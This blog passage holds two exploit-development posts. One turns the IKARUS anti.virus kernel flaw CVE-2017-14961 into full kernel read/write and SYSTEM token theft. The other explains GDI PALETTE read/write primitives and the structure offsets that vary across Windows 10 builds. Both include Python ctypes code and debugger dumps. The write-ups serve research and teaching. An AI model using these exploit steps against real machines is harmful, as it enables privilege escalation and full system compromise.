Showing posts with label palette. Show all posts
Showing posts with label palette. Show all posts

Wednesday, November 15, 2017

Turning CVE-2017-14961 (IKARUS anti.virus local kernel exploit) into full arbitrary read / write with PALETTE objects

There are 9 exploitable kernel vulnerabilities discovered in IKARUS anti.virus <2.6.18 discovered by @ParvezGHH. You can read more about them here:

I found the exploit for the above CVE very nice and clean by Parvez, I usually like simplicity. This specific vulnerability provides the ability for an attacker to write 0x11 to an arbitrary location, which is entirely under the control of the attacker. Triggering is extremely simple, we send in an empty input, and 0x11 will be written to the address we provide for the output buffer. Parvez used this to overwrite the TOKEN privileges of the given process to gain SeDebugPriviliges and after that injecting a cmd.exe shell code into winlogon.exe. Nice and clean and works universally. I took the opportunity to write this in python and extend my kex library with some useful functions that perform the TOKEN lookup and code injection.

However I wanted to practice a bit of kernel exploitation techniques and decided to turn this into a full arbitrary read / write. In short I wanted to be able to read / write any kernel memory of my choice with the value I want. I also wanted to keep the exploit universal (Win7 to Win10RS3) and if possible trigger it from low integrity mode. I’m not done with the low integrity part, but if I will have time later I will try to finish it, but all the others went fine.

An universal read / write can be done if we can use the PALETTE read / write primitives, but obviously we can’t directly overwrite the pFirstColor pointer of any palette with the vulnerability. So I went to utilise the idea of out of bounds write, which is commonly used with session pool spraying with GDI objects. Let me explain step-by-step the game plan.
  1. Allocate two palettes at known location
  2. Overwrite the cEntries field of one of the palettes, and thus increasing the size.
  3. Use the enlarged palette to overwrite the pFirstColor offset in the second palette —> we are pretty much done at this point, as we can use the regular read / write primitives
  4. Steal token
The first point is achieved via reserving and freeing Windows, and if they get allocated to the same place, we can predict that if we free it and allocate the palette next, it will be at the same location, this works for large pools, for objects size >= 0x1000 (4kB). This is pretty standard, and easy, already implemented in my kex library. Essentially this is the code snippet to do this:

palette_1_address = alloc_free_windows(0)
palette_1_handle = create_palette_with_size(0x1000)
palette_1_pFirstColor = palette_1_address + pFirstColor_offset

palette_2_address = alloc_free_windows(0)
palette_2_handle = create_palette_with_size(0x1000)
palette_2_pFirstColor = palette_2_address + pFirstColor_offset

The second point is to calculate the address where we want to write 0x11. From this point on, we need to make sure that we use the palettes in the right order, as there is no guarantee that palette1 is placed in a lower memory location than palette2, although likely. In this writeup let’s assume that palette1 comes before palette2. So the location is:

palette_1_address + cEntries + 3

cEntries is always 0x1c, and the number of entries is stored on 4 bytes (32 bits). The +3 is needed in order to overwrite the high order byte. If we look on a dump, this is what we will get after the overwrite:

0: kd> dd ffffe5b784730000
ffffe5b7`84730000  9c080a13 ffffffff 00000000 00000000
ffffe5b7`84730010  5fe03700 ffffad0d 00000501 110003de
ffffe5b7`84730020  0006e3f4 00000000 00000000 00000000
ffffe5b7`84730030  00000000 00000000 00000000 00000000
ffffe5b7`84730040  00000000 00000000 00000000 00000000
ffffe5b7`84730050  00000000 00000000 00000000 00000000
ffffe5b7`84730060  00000002 00000001 00000000 00000000
ffffe5b7`84730070  00000000 00000000 84730088 ffffe5b7

This effectively increases the size of the palette to 0x110003de * 4 (from 0x000003de * 4) as one palette entry takes 4 bytes. This should be sufficient to get an overlap with palette2.

As for code:
outputbuffer = palette_1_address + 0x1c + 3

The third step is to overwrite the other palette’s pFirstColor pointer and point it to palette1’s pFirstColor memory address. The last part is easy, we just add the proper offset to palette1’s address, which is 0x78 or 0x80 depending on the platform (as of this writing). How do we overwrite palette2’s pFirstColor pointer? We need to calculate the distance of it beginning from palette1’s first entry. The calculation is:

distance = (palette_2_address + pFirstColor_offset) - (palette_1_address + apalColors_offset)

In words: we take the memory location of the target (palette2address + pFirstColoroffset) and subtract the memory location of the very first entry of palette1 (palette_1address + apalColorsoffset). apalColorsoffset is 0x10 after pFirstColor on x64. We divide this distance by 4 (remember, with palettes we write one entry which is 4 bytes) and get the right index (iStart) to use with the SetPalette function. Code:

address = c_ulonglong(palette_1_pFirstColor)
gdi32.SetPaletteEntries(palette_1_handle, distance/4, sizeof(address)/4, addressof(address));
hex(palette_1_pFirstColor))
manager_palette_handle = palette_2_handle
worker_palette_handle = palette_1_handle

At this stage I run into a problem where my code started to overwrite random memory locations, regardless of what the distance is (at least this is how it looked). I was pretty sure I’m right, and I had no idea for hours what goes wrong here. Finally found it. SetPaletteEntries expects an unsigned INT for the iStart index. I didn’t converted the distance to UINT, and it was passed as a signed INT, and as it was quite large, it pointed to another place I expected. This was a good learning for later, I need to watch out for correct ctypes conversion. So the above line correctly is:

gdi32.SetPaletteEntries(palette_1_handle, c_uint(distance/4), sizeof(address)/4, addressof(address));

Once this is done, the only thing remained is to perform token stealing with palettes. Up until this point the entire exploit runs from low integrity mode as well. The token stealing won’t because of the way it’s implemented, but I will look for something else later on.

tokenstealing_with_palettes(manager_palette_handle, worker_palette_handle)

I think the above idea can be easily generalised for similar cases, when we can control the memory location of the overwrite, but not the content. If we can increase the size of a palette, we can gain full read / write.

If you want to play with this, the following happens to be an IKARUS 2.6.15 installer, which is vulnerable:
VirusTotal

The above exploit is uploaded here: https://github.com/theevilbit/kex/blob/master/usage_examples/CVE-2017-14961-ikarus-palettes.py
It doesn't always work for first, but run it a few times, and eventually you will get SYSTEM.

UPDATE 2017.11.25.:

With the new release of kex, this exploit can work entirely from low integrity mode.

Tuesday, October 31, 2017

Abusing GDI objects for kernel exploitation - PALETTE and various offsets

I started to dig into the topic of abusing GDI objects for Windows kernel exploitation about two weeks ago, and finally get to the PALETTEs. There are many documentation about BITMAPs so I don’t really want to write about those, but there has been little write-ups about PALETTEs. There are three that I relied on during my research:

I decided to implement PALETTE read-write primitives for my kex Python library, and this post is about how did I do that. Basically we need the following info:
  1. What is their size and offset?
  2. How to create them?
  3. How to read / write with them?
Every document I read showed the following structure outline:

typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;    // 0x00
    FLONG           flPal;         // 0x18
    ULONG32           cEntries;      // 0x1C
    ULONG32           ulTime;        // 0x20 
    HDC             hdcHead;       // 0x24
    ULONG64        hSelected;     // 0x28, 
    ULONG64           cRefhpal;      // 0x30
    ULONG64          cRefRegular;   // 0x34
    ULONG64      ptransFore;    // 0x3c
    ULONG64      ptransCurrent; // 0x44
    ULONG64      ptransOld;     // 0x4C
    ULONG32           unk_038;       // 0x38
    ULONG64         pfnGetNearest; // 0x3c
    ULONG64   pfnGetMatch;   // 0x40
    ULONG64           ulRGBTime;     // 0x44
    ULONG64       pRGBXlate;     // 0x48
    PALETTEENTRY    *pFirstColor;  // 0x80
    struct _PALETTE *ppalThis;     // 0x88
    PALETTEENTRY    apalColors[3]; // 0x90
}

What is important from this is the full size of the structure, which is 0x90 (that is the offset to the PALETTEENTRY array) and the offset to pFirstColor, which points to the array, and this is the pointer that will need to be overwritten to get the read / write primitives. This is at offset 0x80 at every documentation I saw so far, and what you can read everywhere is that this technique works up to Windows10 v1709 (RS3) - and maybe even later, but we don’t know that yet.

The size of the entire object without the POOL_HEADER is basically this PALETTE64 structure + the PALETTEENTRY array. One PALETTEENTRY is 4 bytes as we can see (this will be important later):

class PALETTEENTRY(Structure):
 _fields_ = [
  ("peRed", BYTE),
  ("peGreen", BYTE),
  ("peBlue", BYTE),
  ("peFlags", BYTE)
 ]

There is a nice implementation made by Sebastian Apelt from Siberas (see the link above), which I also used as my base in my Python implementation. To create a PALETTE, there is a simple API call:

HPALETTE CreatePalette(
  _In_ const LOGPALETTE *lplgpl
);

where LOGPALETTE looks like this:

class LOGPALETTE(Structure):
 _fields_ = [
  ("palVersion", WORD),
  ("palNumEntries", WORD),
  ("palPalEntry", POINTER(PALETTEENTRY))
 ]

So essentially to create a PALETTE, we need to calculate the size, populate the structure, and call the API, somehow like this:

pal_cnt = (size - palette_entries_offset) / 4
lPalette = LOGPALETTE()
lPalette.palNumEntries = pal_cnt
lPalette.palVersion = 0x300
palette_handle = gdi32.CreatePalette(byref(lPalette))

As the PALETTEENTRY is 4 bytes, we need to calculate the proper number of entries required for us to reserve the proper size.

Once we have this, we can start read / write, once we overwritten the manager’s palette pFirstColor pointer. To perform these actions we can use the following functions.

UINT GetPaletteEntries(
  _In_  HPALETTE       hpal,
  _In_  UINT           iStartIndex,
  _In_  UINT           nEntries,
  _Out_ LPPALETTEENTRY lppe
);

UINT SetPaletteEntries(
  _In_       HPALETTE     hpal,
  _In_       UINT         iStart,
  _In_       UINT         cEntries,
  _In_ const PALETTEENTRY *lppe
);

These can be used just as we used GetBitmapBits / SetBitmapBits. There is an important difference, here we tell the function to read X number of PALETTEENTRYs, which is 4 bytes long. This means that if we want to read 8 bytes (an address in x64), we need to provide the value 2 - dividing the size by 4. That’s it, after that it’s essentially the same. Here is my Python implementation:

def set_address_palette(manager_platte_handle, address):
 address = c_ulonglong(address)
 gdi32.SetPaletteEntries(manager_platte_handle, 0, sizeof(address)/4, addressof(address));
 
def write_memory_palette(manager_platte_handle, worker_platte_handle, dst, src, len):
 set_address_palette(manager_platte_handle, dst)
 gdi32.SetPaletteEntries(worker_platte_handle, 0, len/4, src)

def read_memory_palette(manager_platte_handle, worker_platte_handle, src, dst, len):
 set_address_palette(manager_platte_handle, src)
 gdi32.GetPaletteEntries(worker_platte_handle, 0, len/4, dst)

and basically that’s it, essentially this will work the same as BITMAPs. You can leak the kernel address of the object with Window objects just as we did with BITMAPs on Win10 v1703 (or earlier). This leak will also work on Win10 v1709.

Wish everything was so simple!

So I started to test this on Win10 v1511, and it worked for first! Nice! I was happy :) It took some time to build a Win10 v1709, so I went ahead and run the same exploit on Win10 v1607, and…. BSOD!! I run it again, and got BSOD again with POOL corruption. So I started to dig into what goes on as I was pretty sure I’m overwriting something wrong. Notice the problem?

0: kd> dc ffff89c9c4611000
ffff89c9`c4611000  7e08083b 00000000 00000000 00000000  ;..~............
ffff89c9`c4611010  d9c0a080 ffff910b 00000501 000003de  ................
ffff89c9`c4611020  00003868 00000000 00000000 00000000  h8..............
ffff89c9`c4611030  00000000 00000000 00000000 00000000  ................
ffff89c9`c4611040  00000000 00000000 00000000 00000000  ................
ffff89c9`c4611050  00000000 00000000 00000000 00000000  ................
ffff89c9`c4611060  00000002 00000001 00000000 00000000  ................
ffff89c9`c4611070  00000000 00000000 c4611088 ffff89c9  ..........a.....
ffff89c9`c4611080  c4611000 ffff89c9 00000000 00000000  ................

0: kd> !pool ffff89c9c4611000
Pool page ffff89c9c4611000 region is Unknown
ffff89c9c4611000 is not a valid large pool allocation, checking large session pool...
*ffff89c9c4611000 : large page allocation, tag is Gh08, size is 0x1010 bytes
  Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys

So this is the end of the PALETTE64 structure:

    PALETTEENTRY    *pFirstColor;  // 0x80
    struct _PALETTE *ppalThis;     // 0x88
    PALETTEENTRY    apalColors[3]; // 0x90

This doesn’t align with the output from WinDBG dump. So it turns out the new offsets are:

    PALETTEENTRY    *pFirstColor;  // 0x78
    struct _PALETTE *ppalThis;     // 0x80
    PALETTEENTRY    apalColors[3]; // 0x88

I didn’t check what is missing or what became smaller, but from Win10 v1607 this is the correct offset, including v1709.

Sweet, so now that is fixed, I got this working on v1607 and v1703, but it broke on v1709! It didn’t BSOD but I couldn’t leak the address anymore! What? Everyone said it works! Ok, let’s see the Window leak. The offsets changed there at version v1703, so there was a good chance they did again on v1709. Essentially:

Windows 10x64 v1607 and earlier (? - only tested back to v1511, not sure on Win8 or 7):
pcls = 0x98
lpszMenuNameOffset = 0x88

Windows10x64 v1703:
pcls = 0xa8
lpszMenuNameOffset = 0x90

Windows10x64 v1709:
pcls = 0xa8
lpszMenuNameOffset = 0x98

Once I fixed these as well, all started to work.

I checked and the structure offsets required for token stealing didn’t change, so essentially that was all.

Structure offsets change too often, and sometimes it’s not easy to track them down, essentially this is one of the reasons I’m trying to make 'kex' and hardcode all these offsets, so I can make OS independent exploits. With the current version you can essentially call these functions on version of Win10x64 and get it work reliably. Link: GitHub - theevilbit/kex

In order to make it easier for people contributing to offsets, and also make it easier for those, who want to code the same in different languages, I’m starting an offset table on the same GitHub repo. Directly: OFFSETS.md